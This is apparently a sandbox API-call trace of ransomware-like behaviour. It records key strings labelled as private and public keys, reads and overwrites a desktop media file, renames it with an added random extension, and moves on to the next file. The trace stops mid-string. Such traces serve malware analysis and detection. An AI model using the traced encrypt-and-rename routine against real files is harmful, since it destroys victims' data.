zenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0127.124] GetCurrentThreadId () returned 0xa30 [0127.124] GetCurrentThreadId () returned 0xa30 [0127.124] GetCurrentThreadId () returned 0xa30 [0127.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0127.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0127.125] GetCurrentThreadId () returned 0xa30 [0127.125] GetCurrentThreadId () returned 0xa30 [0127.125] GetCurrentThreadId () returned 0xa30 [0127.125] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VafNA2H199yI1tndZ.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vafna2h199yi1tndz.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0127.125] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0127.125] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0127.126] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x7e42 [0127.126] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0127.126] ReadFile (in: hFile=0x120, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0x7e42, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18f96c*=0x7e42, lpOverlapped=0x0) returned 1 [0127.128] CloseHandle (hObject=0x120) returned 1 [0127.129] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VafNA2H199yI1tndZ.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vafna2h199yi1tndz.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0127.133] WriteFile (in: hFile=0x120, lpBuffer=0x1f00fa0*, nNumberOfBytesToWrite=0x7e42, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f00fa0*, lpNumberOfBytesWritten=0x18f978*=0x7e42, lpOverlapped=0x0) returned 1 [0127.136] CloseHandle (hObject=0x120) returned 1 [0127.137] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VafNA2H199yI1tndZ.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vafna2h199yi1tndz.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VafNA2H199yI1tndZ.flv.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vafna2h199yi1tndz.flv.zv7un")) returned 1 [0127.139] GetCurrentThreadId () returned 0xa30 [0127.139] GetCurrentThreadId () returned 0xa30 [0127.140] GetCurrentThreadId () returned 0xa30 [0127.140] GetCurrentThreadId () returned 0xa30 [0127.140] GetCurrentThreadId () returned 0xa30 [0127.140] GetCurrentThreadId () returned 0xa30 [0127.140] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c22fe0, ftCreationTime.dwHighDateTime=0x1d5e7bc, ftLastAccessTime.dwLowDateTime=0x4df58130, ftLastAccessTime.dwHighDateTime=0x1d5def0, ftLastWriteTime.dwLowDateTime=0x4df58130, ftLastWriteTime.dwHighDateTime=0x1d5def0, nFileSizeHigh=0x0, nFileSizeLow=0x6846, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="VCyPqB3te.m4a", cAlternateFileName="VCYPQB~1.M4A")) returned 1 [0127.140] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.140] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.140] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VCyPqB3te.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vcypqb3te.m4a"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c22fe0, ftCreationTime.dwHighDateTime=0x1d5e7bc, ftLastAccessTime.dwLowDateTime=0x4df58130, ftLastAccessTime.dwHighDateTime=0x1d5def0, ftLastWriteTime.dwLowDateTime=0x4df58130, ftLastWriteTime.dwHighDateTime=0x1d5def0, nFileSizeHigh=0x0, nFileSizeLow=0x6846)) returned 1 [0127.140] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VCyPqB3te.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vcypqb3te.m4a")) returned 0x20 [0127.140] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VCyPqB3te.m4a", dwFileAttributes=0x80) returned 1 [0127.143] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0127.143] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDj